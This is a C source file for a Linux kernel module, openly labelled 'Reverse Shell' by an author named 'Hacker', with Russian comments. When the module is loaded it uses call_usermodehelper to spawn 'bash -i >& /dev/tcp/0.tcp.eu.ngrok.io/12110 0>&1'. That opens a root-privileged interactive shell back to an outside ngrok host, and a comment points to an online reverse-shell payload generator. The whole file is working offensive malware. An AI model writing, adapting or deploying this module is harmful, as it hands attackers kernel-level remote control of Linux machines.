30 lines
1010 B
C
30 lines
1010 B
C
|
#include <linux/kmod.h>
|
||
|
#include <linux/module.h>
|
||
|
|
||
|
MODULE_LICENSE("GPL");
|
||
|
MODULE_AUTHOR("Hacker");
|
||
|
MODULE_DESCRIPTION("Reverse Shell");
|
||
|
MODULE_VERSION("1.0");
|
||
|
|
||
|
// для составления нужной нагрузки можно воспользоваться веб-ресурсом https://www.revshells.com
|
||
|
char* argv[] = {
|
||
|
"/bin/bash",
|
||
|
"-c",
|
||
|
"bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/12110 0>&1",
|
||
|
NULL
|
||
|
};
|
||
|
|
||
|
static char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||
|
|
||
|
// функция call_usermodehelper используется для того, чтобы создать процесс в пространстве пользователя из пространства ядра
|
||
|
static int __init reverse_shell_init(void) {
|
||
|
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||
|
}
|
||
|
|
||
|
static void __exit reverse_shell_exit(void) {
|
||
|
printk(KERN_INFO "Exiting\n");
|
||
|
}
|
||
|
|
||
|
module_init(reverse_shell_init);
|
||
|
module_exit(reverse_shell_exit);
|